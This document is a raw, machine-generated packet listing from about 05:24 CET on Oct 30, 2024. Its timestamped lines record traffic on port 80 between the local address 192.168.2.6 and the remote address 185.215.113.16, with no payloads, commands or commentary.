Oct 30, 2024 05:24:28.028150082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028160095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028168917 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028181076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028192997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028199911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028230906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028238058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028247118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028270006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028276920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028287888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028301954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028310061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028320074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028331995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028363943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028589964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028599024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028615952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028624058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028646946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028665066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028676033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028692961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028698921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028711081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028743982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028776884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028785944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028804064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028820038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028831959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028839111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.028851032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.028860092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.029063940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.033946991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068511963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068523884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068542004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068563938 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068569899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068578959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068595886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068614960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068634987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068639040 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068651915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068662882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068696976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068778992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068788052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068808079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068820000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068837881 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068845987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068856955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.068881989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.068996906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069005966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069022894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069044113 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.069061995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069071054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069089890 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.069093943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069113970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069123030 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.069134951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069144011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069171906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.069271088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069284916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069302082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069324970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.069341898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.069387913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069399118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069416046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069425106 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069436073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.069447994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.069459915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.099663019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.099694014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.099704027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.099718094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.099735975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.099744081 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.099756956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.099792957 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.143825054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.143842936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.143872023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.143886089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.143902063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.143923998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.143934011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.143944979 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.143965006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.143971920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.143980980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144006968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144016027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144028902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144038916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144057035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144063950 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144072056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144085884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144093037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144105911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144114017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144124985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144133091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144148111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144155979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144186974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144196987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144474030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144484043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144503117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144526958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144551992 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144558907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144567966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144586086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144601107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144604921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144617081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144629955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144639015 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144649982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144659996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144668102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144679070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144687891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144846916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144855976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144882917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144895077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144902945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144927025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144936085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144944906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144967079 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.144973040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144983053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.144999027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145004988 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145030975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145035982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145047903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145061970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145097017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145169973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145210981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145248890 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145256996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145267010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145293951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145313978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145323992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145342112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145350933 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145363092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145371914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145385027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145406008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145415068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145425081 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145445108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145458937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145462990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145488977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145499945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145522118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145528078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145544052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145554066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145562887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145581007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145591974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145597935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145616055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145648003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145658016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145674944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145680904 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145692110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145701885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145714998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145725012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145741940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145757914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145772934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145790100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.145803928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145817995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.145840883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146007061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146015882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146053076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146070957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146080017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146097898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146110058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146120071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146132946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146147013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146151066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146159887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146167994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146169901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146194935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146362066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146405935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146451950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146461010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146482944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146496058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146502018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146519899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146528959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146543026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146548986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146559000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146568060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146575928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146610975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146724939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146733046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146750927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146770954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146787882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146833897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146842957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146856070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146874905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146878958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146888971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146908998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146918058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146928072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146943092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146951914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146960974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146977901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.146986961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.146994114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147007942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147027969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147043943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147063971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147068977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147089958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147099018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147113085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147131920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147140980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147157907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147178888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147178888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147203922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147216082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147236109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147243023 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147253036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147275925 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147321939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147336960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147341967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147346020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147362947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147375107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147397041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147404909 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147418976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147445917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147453070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147479057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147557974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147572041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147582054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147602081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147612095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147620916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147630930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147650003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147675991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147686005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147706032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147715092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147726059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147739887 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147762060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147790909 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147799015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147809029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147825003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147842884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147855997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147877932 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147919893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147928953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147933006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147949934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147958994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.147967100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.147996902 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.165219069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.187823057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.187840939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.187875032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.187885046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.187903881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.187917948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.187926054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.187937021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.187952042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.187969923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.187988043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.187993050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188014030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188024998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188045025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188052893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188065052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188075066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188091040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188097954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188112020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188119888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188147068 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188167095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188175917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188186884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188209057 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188219070 CET	80	49760	185.215.113.16	192.168.2.6
